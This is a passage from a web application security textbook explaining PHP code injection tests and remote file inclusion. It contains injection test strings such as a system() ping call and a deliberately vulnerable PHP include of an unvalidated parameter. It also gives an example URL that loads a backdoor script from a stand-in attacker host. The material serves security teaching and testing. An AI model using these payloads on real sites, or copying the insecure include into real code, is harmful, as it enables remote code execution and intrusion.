The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

If the application you are attacking uses PHP, you can use the test string

phpinfo()

, which if successful will return the configuration details of

the PHP environment.

■

If the application appears to be vulnerable, verify this by injecting some

commands that result in time delays, as described previously for OS com-

mand injection. For example:

system(‘ping%20127.0.0.1’)

File Inclusion Vulnerabilities

Many scripting languages support the use of include files. This facility enables

developers to place reusable code components into individual files, and to

include these within function-specific code files as and when they are needed.

The code within the included file is interpreted just as if it had been inserted at

the location of the include directive.

Remote File Inclusion

The PHP language is particularly susceptible to file inclusion vulnerabilities

because its include function accepts a remote file path. This has been the basis

of numerous vulnerabilities in PHP applications.

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 310

---

Consider an application that delivers different content to people in different

locations. When users choose their location, this is communicated to the server

via a request parameter, as follows:

https://wahh-app.com/main.php?Country=US 

The application processes the 

Country

parameter as follows:

$country = $_GET[‘Country’];

include( $country . ‘.php’ );

This causes the execution environment to load the file 

US.php

that is located

on the web server file system. The contents of this file are effectively copied

into the 

main.php

file, and executed.

An attacker can exploit this behavior in different ways, the most serious of

which is to specify an external URL as the location of the include file. The PHP

include function accepts this as input, and the execution environment will

retrieve the specified file and execute its contents. Hence, an attacker can con-

struct a malicious script containing arbitrarily complex content, host this on a

web server he controls, and invoke it for execution via the vulnerable applica-

tion function. For example:

https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor